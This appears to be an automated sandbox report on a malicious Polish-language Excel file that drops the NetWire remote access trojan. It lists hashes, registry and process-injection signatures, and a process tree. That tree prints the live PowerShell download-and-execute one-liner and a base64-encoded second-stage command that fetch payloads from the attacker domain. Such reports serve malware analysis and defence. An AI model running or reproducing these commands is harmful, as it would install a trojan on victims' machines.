Analysis
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max time kernel
143s -
max time network
138s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
14-07-2020 14:07
Static task
static1
Behavioral task
behavioral1
Sample
Potwierdzenie transakcji (3).xls
Resource
win7
windows7_x64
0 signatures
0 seconds
General
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Target
Potwierdzenie transakcji (3).xls
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Size
858KB
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MD5
12e613fff7e95373c60b0d323807b14a
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SHA1
57ba3149d1204d1be553c2b6f9e057624c148386
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SHA256
4ee1e35fc610375d651202f828ea4c0512d1072a13dd72947efb804ea05958d3
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SHA512
dfd5602574e753eb57aecdd0ea5c345caca0e0292cd55a7e97ce5785ffae9a143530e27fea047d331b25069f46d688d2c559de3213fb8a56d1599eaa9fb00afd
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://office-service-softs.info/tech.jpg
Signatures
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 780 set thread context of 3864 780 powershell.exe 78 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3824 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 780 powershell.exe -
Blacklisted process makes network request 3 IoCs
flow pid Process 19 2716 powershell.exe 22 780 powershell.exe 24 780 powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2716 powershell.exe 2716 powershell.exe 2716 powershell.exe 780 powershell.exe 780 powershell.exe 780 powershell.exe -
NetWire RAT payload 2 IoCs
resource yara_rule behavioral2/memory/3864-2-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral2/memory/3864-4-0x0000000000400000-0x0000000000433000-memory.dmp netwire -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE 3824 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2716 3824 powershell.exe 65 -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3824 wrote to memory of 2716 3824 EXCEL.EXE 72 PID 3824 wrote to memory of 2716 3824 EXCEL.EXE 72 PID 2716 wrote to memory of 780 2716 powershell.exe 77 PID 2716 wrote to memory of 780 2716 powershell.exe 77 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78 PID 780 wrote to memory of 3864 780 powershell.exe 78
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (3).xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-service-softs.info/tech.jpg')2⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AcgBuAHAALgB0AHgAdAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AbQBhAGkAbgAxAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2ACkA3⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵PID:3864
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